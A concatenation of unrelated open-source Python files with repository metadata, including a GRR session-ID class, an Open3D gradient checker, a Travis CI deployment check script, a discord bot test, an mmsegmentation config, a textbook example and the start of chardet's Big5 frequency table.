"""Constructor. Args: initializer: A string or another RDFURN. age: The age of this entry. base: The base namespace this session id lives in. queue: The queue to use. flow_name: The name of this flow or its random id. Raises: InitializeError: The given URN cannot be converted to a SessionID. """ if initializer is None: # This SessionID is being constructed from scratch. if flow_name is None: flow_name = utils.PRNG.GetUInt32() if isinstance(flow_name, int): initializer = RDFURN(base).Add("%s:%X" % (queue.Basename(), flow_name)) else: initializer = RDFURN(base).Add("%s:%s" % (queue.Basename(), flow_name)) else: if isinstance(initializer, RDFURN): try: self.ValidateID(initializer.Basename()) except ValueError as e: raise InitializeError( "Invalid URN for SessionID: %s, %s" % (initializer, e.message)) super(SessionID, self).__init__(initializer=initializer, age=age) def Queue(self): return RDFURN(self.Basename().split(":")[0]) def FlowName(self): return self.Basename().split(":", 1)[1] def Add(self, path, age=None): # Adding to a SessionID results in a normal RDFURN. return RDFURN(self).Add(path, age=age) @classmethod def ValidateID(cls, id_str): # This check is weaker than it could be because we allow queues called # "DEBUG-user1" and IDs like "TransferStore". We also have to allow # flows session ids like H:123456:hunt. allowed_re = re.compile(r"^[-0-9a-zA-Z]+(:[0-9a-zA-Z]+){0,2}$") if not allowed_re.match(id_str): raise ValueError("Invalid SessionID: %s" % id_str) # TODO(hanuszczak): Remove this class. class FlowSessionID(SessionID): pass

28.069656

116

0.679911

ace8ba1ca38a94afe633e4bfecfe24510d532461

4,859

py

Python

src/UnitTest/Python/tf_ops/check_gradients.py

grayish/Open3D

de386ab3521d489cd1483c8a2d966694930350a9

[ "MIT" ]

null

src/UnitTest/Python/tf_ops/check_gradients.py

grayish/Open3D

de386ab3521d489cd1483c8a2d966694930350a9

[ "MIT" ]

null

src/UnitTest/Python/tf_ops/check_gradients.py

grayish/Open3D

de386ab3521d489cd1483c8a2d966694930350a9

[ "MIT" ]

null

import numpy as np from collections import OrderedDict def compute_jacobian_finite_differences(x0, fn, epsilon): """Computes the Jacobian using finite differences x0: The positions at which to compute J. fn: A function of the form fn(x) which returns a single numpy array. epsilon: A scalar or an array that can be broadcasted to the same shape as x0. """ dtype = x0.dtype y0 = fn(x0) h = np.zeros_like(x0) J = np.zeros((x0.size, y0.size), dtype=dtype) epsilon_arr = np.broadcast_to(epsilon, x0.shape) for i in range(x0.size): eps = epsilon_arr.flat[i] h.flat[i] = eps J[i, :] = ((fn(x0 + h) - y0) / eps).flat h.flat[i] = 0 return J def compute_jacobian_analytical(x0, y_shape, fn_grad, y_bp=None): """Computes the analytical Jacobian x0: The position at which to compute J. y_shape: The shape of the backpropagated value, i.e. the shape of the output of the corresponding function 'fn'. fn_grad: The gradient of the original function with the form x_grad = fn_grad(y_bp, x0) where 'y_bp' is the backpropagated value and 'x0' is the original input to 'fn'. The output of the function is the gradient of x wrt to y. y_bp: Optional array with custom values for individually scaling the gradients. """ dtype = x0.dtype y_size = 1 for k in y_shape: y_size *= k J = np.zeros((x0.size, y_size), dtype=dtype) y = np.zeros(y_shape, dtype=dtype) y_bp_arr = np.broadcast_to(y_bp, y_shape) if not y_bp is None else np.ones( y_shape, dtype=dtype) for j in range(y_size): y.flat[j] = y_bp_arr.flat[j] J[:, j] = fn_grad(y, x0).flat y.flat[j] = 0 return J def check_gradients(x0, fn, fn_grad, epsilon=1e-6, rtol=1e-3, atol=1e-5, debug_outputs=OrderedDict()): """Checks if the numerical and analytical gradients are compatible for a function 'fn' x0: The position at which to compute the gradients. fn: A function of the form fn(x) which returns a single numpy array. fn_grad: The gradient of the original function with the form x_grad = fn_grad(y_bp, x0) where 'y_bp' is the backpropagated value and 'x0' is the original input to 'fn'. The output of the function is the gradient of x wrt to y. epsilon: A scalar or an array that can be broadcasted to the same shape as x0. This is used for computing the numerical Jacobian rtol: The relative tolerance parameter used in numpy.allclose() atol: The absolute tolerance parameter used in numpy.allclose() debug_outputs: Output variable which stores additional outputs useful for debugging in a dictionary. """ dtype = x0.dtype y = fn(x0) # compute y to get the shape grad = fn_grad(np.zeros(y.shape, dtype=dtype), x0) grad_shape_correct = x0.shape == grad.shape if not grad_shape_correct: print( 'The shape of the gradient [{0}] does not match the shape of "x0" [{1}].' .format(grad.shape, x0.shape)) zero_grad = np.count_nonzero(grad) == 0 if not zero_grad: print('The gradient is not zero for a zero backprop vector.') ana_J = compute_jacobian_analytical(x0, y.shape, fn_grad) ana_J2 = compute_jacobian_analytical(x0, y.shape, fn_grad, 2 * np.ones(y.shape, dtype=x0.dtype)) num_J = compute_jacobian_finite_differences(x0, fn, epsilon) does_scale = np.allclose(0.5 * ana_J2, ana_J, rtol, atol) isclose = np.allclose(ana_J, num_J, rtol, atol) ana_J_iszero = np.all(ana_J == 0) if ana_J_iszero and not np.allclose(num_J, np.zeros_like(num_J), rtol, atol): print( 'The values of the analytical Jacobian are all zero but the values of the numerical Jacobian are not.' ) elif not does_scale: print( 'The gradients do not scale with respect to the backpropagated values.' ) if not isclose: print('The gradients are not close to the numerical Jacobian.') debug_outputs.update( OrderedDict([ ('isclose', isclose), ('does_scale', does_scale), ('ana_J_iszero', ana_J_iszero), ('grad_shape_correct', grad_shape_correct), ('zero_grad', zero_grad), ('ana_J', ana_J), ('num_J', num_J), ('absdiff', np.abs(ana_J - num_J)), ])) result = isclose and does_scale return result

32.393333

114

0.599918

ace8ba2fbdb71ee146225b70ea940e7c3faefe92

4,478

py

Python

cicd/ci.py

jiankaiwang/bites

2b27ac4199a978bb0ee11958f582a76c2ad99bbc

[ "MIT" ]

1

2019-12-14T21:55:24.000Z

cicd/ci.py

jiankaiwang/bites

2b27ac4199a978bb0ee11958f582a76c2ad99bbc

[ "MIT" ]

null

cicd/ci.py

jiankaiwang/bites

2b27ac4199a978bb0ee11958f582a76c2ad99bbc

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Wed Apr 25 16:27:55 2018 @author: acer4755g """ import REQUESTMETHOD2 import json import sys import os import getopt import logging import subprocess # help message def helpMessgae(): print("""Usage: python ci.py [options] [options] -u the username, e.g. jiankaiwang (necessary) -n the repository name, e.g. umap (necessary) -t the travis token (necessary) -p the cd path (necessary) -h, --help the help message """) # parse opts def parseOpts(get_opts): return(dict((k,v) for k,v in get_opts)) def get_Travis_Repo_API(user, repo_name): travis_repo_api = REQUESTMETHOD2.SENDREQUEST(\ "http://api.travis-ci.org/repos/{}/{}".format(user, repo_name), {}, {}, "GET") travis_repo_api_res = travis_repo_api.response() travis_repo_api_res_json = json.loads(travis_repo_api_res["response"]) if "id" in travis_repo_api_res_json.keys(): return travis_repo_api_res_json else: return {"id":"-1"} def get_Travis_Repo_Build_API(repo_id, token): travis_ci_api = REQUESTMETHOD2.SENDREQUEST(\ "https://api.travis-ci.org/repo/{}/builds?limit=1".format(repo_id), \ {"Authorization" : "token {}".format(token)\ ,"Travis-API-Version" : "3" \ ,"User-Agent" : "API Explorer"}, \ {}, "GET") travis_ci_api_res = travis_ci_api.response() travis_ci_api_res_json = json.loads(travis_ci_api_res["response"]) if "builds" in travis_ci_api_res_json.keys(): return travis_ci_api_res_json else: return {"sha":"-1"} def get_local_commit(getwd): os.chdir(getwd) bashCommand = "git rev-parse HEAD" logging.debug(bashCommand) try: if sys.platform[0:3] == "win": process = subprocess.Popen(bashCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) elif sys.platform[0:3] == "lin": process = subprocess.Popen(bashCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) output, error = process.communicate() logging.warning('Output:{},Error:{}'.format(output.decode('utf-8'), error.decode('utf-8'))) return output.decode('utf-8') except: logging.warning("Can not get local master commit.") return "-1" # main entry logging.basicConfig(level=logging.WARNING) opts, args = getopt.getopt(sys.argv[1:], "fhu:n:p:t:", ["help"]) opts = parseOpts(opts) if len(opts) < 1: logging.debug("opts < 1") helpMessgae() elif '--help' in opts.keys() or '-h' in opts.keys(): logging.debug("opts exists help") helpMessgae() else: if "-p" not in opts.keys() or len(opts["-p"]) < 1 or (not os.path.exists(opts["-p"])): logging.warning("No assigned respoitory.") sys.exit(1) if "-u" not in opts.keys() or len(opts["-u"]) < 1: logging.warning("No assigned username.") sys.exit(1) if "-n" not in opts.keys() or len(opts["-n"]) < 1: logging.warning("No assigned repository.") sys.exit(1) if "-t" not in opts.keys() or len(opts["-t"]) < 1: logging.warning("No assigned travis token.") sys.exit(1) travis_repo_api_res_json = get_Travis_Repo_API(opts["-u"], opts["-n"]) travis_repo_id = travis_repo_api_res_json["id"] if travis_repo_id == -1: logging.warning("No such repository in Travis.") sys.exit(1) travis_ci_api_res_json = get_Travis_Repo_Build_API(travis_repo_id, opts["-t"]) travis_ci_api_sha, travis_ci_api_build = \ travis_ci_api_res_json["builds"][0]["commit"]["sha"]\ , travis_ci_api_res_json["builds"][0]["state"] if travis_ci_api_sha == -1: logging.warning("Token key is not allowed.") sys.exit(1) if travis_ci_api_build != "passed": logging.warning("CI build failed. Not to CD.") sys.exit(1) local_sha = get_local_commit(opts["-p"]) if local_sha == -1: logging.warning("Can not get commit sha from local git repository.") sys.exit(1) else: if local_sha.strip() == travis_ci_api_sha.strip(): logging.warning("Already the latest commit. No need to CD.") sys.exit(1) elif len(local_sha.strip()) < 1: logging.warning("No git found or no commit. Can's start CD.") sys.exit(1) sys.exit(0)

31.985714

134

0.622376

ace8bb5ae01db7892402930627483c481a396350

436

py

Python

tests/test_send.py

Der-Eddy/discord_bot

bc2511e6d030ee2e099410bd846ea871fe3f109d

[ "MIT" ]

122

2016-08-05T02:27:31.000Z

2022-03-21T07:53:10.000Z

tests/test_send.py

Der-Eddy/discord_bot

bc2511e6d030ee2e099410bd846ea871fe3f109d

[ "MIT" ]

15

2017-12-07T14:28:20.000Z

2021-11-19T13:03:37.000Z

tests/test_send.py

Der-Eddy/discord_bot

bc2511e6d030ee2e099410bd846ea871fe3f109d

[ "MIT" ]

100

2016-08-21T18:12:29.000Z

2022-02-19T11:21:23.000Z

import discord import pytest bot_channel = 165174405222236161 @pytest.mark.asyncio async def test_message(bot): channel = client.get_channel(bot_channel) await channel.send("Test Message") @pytest.mark.asyncio async def test_embed(bot): channel = client.get_channel(bot_channel) embed = discord.Embed(title="Test Embed") embed.add_field(name="Field 1", value="Lorem ipsum") await channel.send(embed=embed)

21.8

56

0.745413

ace8bcad5cdbd9f1f50c1398795bc86f9911aa9f

1,280

py

Python

configs/_base_/models/isanet_r50-d8.py

openseg-group/mmsegmentation

23939f09d2b0bd30fc26eb7f8af974f1f5441210

[ "Apache-2.0" ]

2

2020-07-10T12:13:56.000Z

2020-11-09T07:09:29.000Z

configs/_base_/models/isanet_r50-d8.py

openseg-group/mmsegmentation

23939f09d2b0bd30fc26eb7f8af974f1f5441210

[ "Apache-2.0" ]

null

configs/_base_/models/isanet_r50-d8.py

openseg-group/mmsegmentation

23939f09d2b0bd30fc26eb7f8af974f1f5441210

[ "Apache-2.0" ]

2

2020-07-28T09:12:55.000Z

2021-01-04T07:49:59.000Z

# model settings norm_cfg = dict(type='SyncBN', requires_grad=True) model = dict( type='EncoderDecoder', pretrained='open-mmlab://resnet50_v1c', backbone=dict( type='ResNetV1c', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), dilations=(1, 1, 2, 4), strides=(1, 2, 1, 1), norm_cfg=norm_cfg, norm_eval=False, style='pytorch', contract_dilation=True), decode_head=dict( type='ISAHead', in_channels=2048, in_index=3, channels=512, isa_channels=256, down_factor=(8, 8), dropout_ratio=0.1, num_classes=19, norm_cfg=norm_cfg, align_corners=False, loss_decode=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)), auxiliary_head=dict( type='FCNHead', in_channels=1024, in_index=2, channels=256, num_convs=1, concat_input=False, dropout_ratio=0.1, num_classes=19, norm_cfg=norm_cfg, align_corners=False, loss_decode=dict( type='CrossEntropyLoss', use_sigmoid=False, loss_weight=0.4))) # model training and testing settings train_cfg = dict() test_cfg = dict(mode='whole')

28.444444

74

0.5875

ace8bdb3f1d4b87d2a9552de9c3ac8988202f400

640

py

Python

Chapter 05/keyword_args.py

nescience8/starting-out-with-python-global-4th-edition

c16f93b7cbb4c7ae7b57653a7190bf192fe6b472

[ "MIT" ]

35

2019-05-03T00:30:31.000Z

2022-01-20T06:57:25.000Z

Chapter 05/keyword_args.py

nescience8/starting-out-with-python-global-4th-edition

c16f93b7cbb4c7ae7b57653a7190bf192fe6b472

[ "MIT" ]

1

2020-09-04T02:04:33.000Z

Chapter 05/keyword_args.py

nescience8/starting-out-with-python-global-4th-edition

c16f93b7cbb4c7ae7b57653a7190bf192fe6b472

[ "MIT" ]

22

2020-05-13T21:20:02.000Z

2021-12-21T08:35:59.000Z

# This program demonstrates keyword arguments. def main(): # Show the amount of simple interest using 0.01 as # interest rate per period, 10 as the number of periods, # and $10,000 as the principal. show_interest(rate=0.01, periods=10, principal=10000.0) # The show_interest function displays the amount of # simple interest for a given principal, interest rate # per period, and number of periods. def show_interest(principal, rate, periods): interest = principal * rate * periods print('The simple interest will be $', \ format(interest, ',.2f'), \ sep='') # Call the main function. main()

30.47619

60

0.690625

ace8bf4075ac6431c0db62aaafe879fd9615d1da

30,537

py

Python

src/oci/_vendor/chardet/big5freq.py

LaudateCorpus1/oci-python-sdk

b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/oci/_vendor/chardet/big5freq.py

LaudateCorpus1/oci-python-sdk

b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/oci/_vendor/chardet/big5freq.py

LaudateCorpus1/oci-python-sdk

b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015

[ "Apache-2.0", "BSD-3-Clause" ]

null

# coding: utf-8 # Modified Work: Copyright (c) 2018, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # Original Work: Copyright (c) 2018 Character Encoding Detector contributors. https://github.com/chardet # Big5 frequency table # by Taiwan's Mandarin Promotion Council # <http://www.edu.tw:81/mandr/> # # 128 --> 0.42261 # 256 --> 0.57851 # 512 --> 0.74851 # 1024 --> 0.89384 # 2048 --> 0.97583 # # Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 # # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 #Char to FreqOrder table BIG5_TABLE_SIZE = 5376 BIG5_CHAR_TO_FREQ_ORDER = ( 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 4032,3375,5271, 